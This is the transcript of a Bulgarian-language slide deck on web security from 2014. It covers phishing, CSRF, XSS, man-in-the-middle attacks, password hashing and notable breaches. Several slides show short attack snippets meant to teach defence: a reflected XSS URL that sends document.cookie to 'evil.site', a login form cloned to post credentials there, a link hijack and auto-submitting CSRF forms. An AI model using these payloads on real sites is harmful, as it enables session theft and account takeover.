Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Security

Web Security

E1873b75f09c042ef07fe136ba2446f6?s=128

Georgy Angelov

March 28, 2014
Tweet

Transcript

  1. Web Security

  2. DISCLAIMER

  3. Имам ~130 слайда

  4. Няма да покрия темата и на 10%

  5. Ще говоря и за неща, които по принцип са ясни

    и логични, но се оказва, че доста често ги пропускаме.
  6. Ще започна с по-простите

  7. Може да отегча някои от Вас

  8. Да започваме?

  9. Security?

  10. Из речника • Сигурност, безопасност, спокойствие • Увереност, доверие •

    Защита, охрана • Гаранция
  11. Из речника • Сигурност, безопасност, спокойствие • Увереност, доверие •

    Защита, охрана • Гаранция
  12. Кое защитаваме?

  13. Информацията?

  14. Хората, които я използват!

  15. Защо?

  16. Доверие

  17. Пари

  18. План • Attack vectors • Пароли • Съвети • Стената

    на срама
  19. Attack vectors

  20. An attack vector is a path or means by which

    a hacker (or cracker) can gain access to a computer or website in order to deliver a payload or malicious outcome. Attack vectors enable hackers to exploit system vulnerabilities, including the human element.
  21. Phishing

  22. Phishing • Подобни домейни • Email spoofing • Маскиране на

    линкове
  23. http://gmail.com/ Къде води този линк?

  24. <a href=“http://gmai1.com”>http://gmail.com</a>

  25. <a class=“evil” href=“http://gmail.com”>http://gmail.com</a> $('.evil').on('click', function(e) { window.location = "http://evil.site/"; e.preventDefault();

    });
  26. Дублиране на страници $.get(‘http://website.com/login’, function(html) { $(‘body’).append(html); $(‘form’).attr(‘action’, ‘http://evil.site/login’); });

  27. Дублиране на страници $.get(‘http://website.com/login’, function(html) { $(‘body’).append(html); $(‘form’).attr(‘action’, ‘http://evil.site/login’); });

    Това точно няма да сработи заради Access Control Origin, но ако сървъра зареди html-a всичко ще е наред.
  28. За съжаление не можем да направим много, ...

  29. освен да използваме HTTPS и да насърчаваме потребителите да гледат

    URL-a.
  30. Cross-Site Request Forgery

  31. Да изтрием акаунта му <a href=“http://website.com/user/delete?confirm=1”>Free icecream</a>

  32. Ще кажете “ама не трябва да е GET” <form action=“http://website.com/user/delete”

    method=“POST”> <input type=“hidden” name=“confirm” value=“1”> </form> <script>$(‘form’).submit();</script>
  33. Какво можем да направим?

  34. Synchronizer Token Pattern (CSRF Token)

  35. Уникален, генериран ключ за всяко показване на формата.

  36. Пази се като част от сесията и се валидира при

    submit.
  37. Идва като вградена функционалност с доста framework-ове.

  38. Cross Site Scripting (XSS)

  39. Най-често използваната атака. ~40% от всички атаки

  40. Приложимо, когато на страницата се показва нефилтриран текст (взет от

    потребител като параметър).
  41. Три вида XSS

  42. Non-persistent XSS

  43. Non-persistent XSS http://site.com/result?error=No%20such%20user http://site.com/result?error=<script>$.get(‘http://evil.site/?c=‘+ document.cookie);</script>

  44. Persistent XSS

  45. Persistent XSS 1. Събмитваме текст в някое поле, съдържащ въпросния

    скрипт. 2. Потребител отваря профила ни. 3. Открадваме сесията му. 4. Логваме се с нея. 5. WIN
  46. Доста по-рядко срещано, но и много по-опасно.

  47. None
  48. https://blog.twitter.com/2010/all-about-onmouseover-incident

  49. None
  50. http://threatpost.com/paypal-site-vulnerable-to-xss-attack/100787

  51. None
  52. Какво да не правим?

  53. <h2><%= params.error %></h2> В ERB, EJS и някои други това

    е ОК, защото самия темплейт енджин кодира HTML знаците в текста.
  54. <script> var initData = <%= data.to_json %>; // … </script>

  55. <script> var initData = { “text”: “</script><script>alert(document.cookie);</script>” }; // …

    </script>
  56. DOM-based XSS

  57. Често при RIA сайтове

  58. Разчита на подобни проблеми, но на клиента

  59. DOM-based XSS var page = window.location.hash.replace(“page=“, “”); $(‘<div>Page ‘ +

    page + ’</div>’).appendTo(…);
  60. DOM-based XSS http://site.com/#page=3 http://site.com/#page=<script>...</script>

  61. Решението е лесно и ясно &  &amp; < 

    &lt; >  &gt; "  &quot; '  &#x27; /  &#x2F;
  62. Докато не забравим да го приложим някъде…

  63. ...или го дадем на някой плъгин, който не го прави.

  64. HTTP only cookies

  65. Information leakage

  66. None
  67. None
  68. Това е втората най-често използвана атака

  69. Man-In-The-Middle attack

  70. None
  71. Wi-Fi packet sniffing (подушване на пакети)

  72. Не, кучето Ви не може да подуши тези пакети

  73. Четене на некриптиран трафик от и до публичен hotspot. Включително

    пароли.
  74. HTTPS

  75. Пароли

  76. Най-важното нещо, след номерата на банкови карти

  77. Защо точно паролите?

  78. Потребителите са глупави... (аз включително)

  79. ...преизползват пароли

  80. “Passwords are never stored in plaintext. At least they shouldn't

    be, unless you're building the world's most insecure system using the world's most naive programmers.” - случаен човек в нета
  81. protected String encodePassword(String password) { String ref = "1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1"; StringBuilder

    result = new StringBuilder(); for (int i = 0; i < password.length(); i ++) { result.append(ref.charAt(ref.indexOf(password.charAt(i)) + 1)); } return result.toString(); }
  82. protected String decodePassword(String password) { String ref = "1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1"; ref

    = new StringBuilder(ref).reverse().toString(); StringBuilder result = new StringBuilder(); for (int i = 0; i < password.length(); i ++) { result.append(ref.charAt(ref.indexOf(password.charAt(i)) + 1)); } return result.toString(); } Java
  83. conseq([X,Y|L], X, Y). conseq([_|L], X, Y) :- conseq(L, X, Y).

    mapNext(Code, [], []). mapNext(Code, [X|L], [Y|LRes]) :- conseq(Code, X, Y), mapNext(Code, L, LRes). ?- string_codes(' 1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1 ', Code), string_codes('123', L), mapNext(Code, L, X), write(X). Prolog
  84. Whitespace

  85. Security through obscurity

  86. None
  87. Няма полза от това да си грозен

  88. Хешове

  89. Защита дори ако “изтече” базата от данни

  90. MD5? SHA1? SHA256?

  91. На един по-мощен настолен компютър • MD5 – 8 000

    000 000 пароли в секунда • SHA1 – 3 000 000 000 пароли в секунда • SHA256 – 1 100 000 000 пароли в секунда
  92. 8-символна парола от букви, цифри и някои специални знаци се

    краква за ~ 10 часа.
  93. По-бързо ако използваме rainbow таблица

  94. Или пък я има в някой речник

  95. Или си пуснете няколко големи Amazon EC2 GPU машини http://du.nham.ca/blog/posts/2013/03/08/password-cracking-on-amazon-ec2/

    https://www.cloudcracker.com
  96. Трябва ни нещо по-добро

  97. Хеш със сол

  98. Уникална за конкретната парола добавка, която я “разширява”.

  99. Прави хеша уникален, дори да има еднакви пароли

  100. Обезсмисля rainbow таблиците и забавя едновременни brute-force атаки на много

    пароли
  101. Малко е!

  102. Решението?

  103. BCrypt, PBKDF2, SCrypt

  104. Осоляват и хешират много пъти

  105. Параметризират “бавността” на хеширане => осъкатяват brute-force-a

  106. Стената на срама

  107. None
  108. 03.10.2013 - компрометирани 150 000 000 акаунта http://helpx.adobe.com/x-productkb/policy-pricing/customer-alert.html http://www.theguardian.com/technology/2013/nov/07/adobe-password-leak-can-check

  109. None
  110. http://us.blizzard.com/en-us/securityupdate.html

  111. None
  112. 8 000 000 SHA1 хешове без сол http://blog.linkedin.com/2012/06/06/linkedin-member-passwords-compromised/ http://arstechnica.com/security/2012/06/8-million-leaked-passwords-connected-to-linkedin/

  113. None
  114. Не е fail, но все пак – brute-force от 40

    000 различни IP адреса. https://github.com/blog/1698-weak-passwords-brute-forced
  115. None
  116. Ubuntu forums - 1 820 000 потребителски акаунти http://www.zdnet.com/ubuntu-forums-hacked-1-82m-logins-email-addresses-stolen-7000018336/

  117. Random съвети

  118. При неуспешен логин не казвайте кое е грешно – мейла

    или паролата.
  119. Потвърждавайте промяната на мейл адреса и на стария мейл.

  120. Защитавайте и backup сървърите

  121. Блокирайте login формата при определен брой неуспешни опити, или показвайте

    captcha
  122. Обновявайте си ОС-а на сървърите и developer-ските машини

  123. None
  124. Застрашени всички потребители на iOS, MacOS http://www.cnet.com/news/apple-finally-fixes-gotofail-os-x-security-hole/

  125. None
  126. None
  127. Застрашени (почти) всички потребители на Linux http://arstechnica.com/security/2014/03/critical-crypto-bug-leaves-linux-hundreds-of-apps-open-to-eavesdropping/ https://www.gitorious.org/gnutls/gnutls/commit/6aa26f78150ccbdf0aec1878a41c17c41d358a3b

  128. Windows is next

  129. None
  130. http://arstechnica.com/security/2013/10/hack-of-mongohq-exposes-passwords-user-databases-to-intruders/

  131. None
  132. Social engineering http://www.wired.com/gadgetlab/2012/08/apple-amazon-mat-honan-hacking/

  133. egov.bg

  134. egov.bg /document?eDocId=base64(<пореден номер>) http://blog.bozho.net/?p=1327

  135. И най-добрият съвет...

  136. Use it!

  137. Благодаря за вниманието!

  138. Благодаря за вниманието! Разбрах, че котките помагали в презентации.